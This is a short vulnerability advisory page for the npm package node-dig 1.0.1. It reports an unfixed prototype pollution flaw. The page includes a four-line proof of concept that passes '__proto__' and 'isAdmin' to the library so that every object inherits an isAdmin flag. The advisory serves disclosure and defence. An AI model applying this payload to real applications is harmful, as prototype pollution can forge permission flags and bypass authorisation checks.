node-dig@1.0.1 vulnerabilities

This library enables you to access nested elements in Object.

Direct Vulnerabilities

Known vulnerabilities in the node-dig package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

node-dig is a This library enables you to access nested elements in Object.

Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

PoC

const nodeDig = require("node-dig");
console.log("Prototype before dig", ({}).isAdmin);
nodeDig({}, ["__proto__", "isAdmin"], true);
console.log("Prototype after dig", ({}).isAdmin);

How to fix Prototype Pollution?

There is no fixed version for node-dig.

*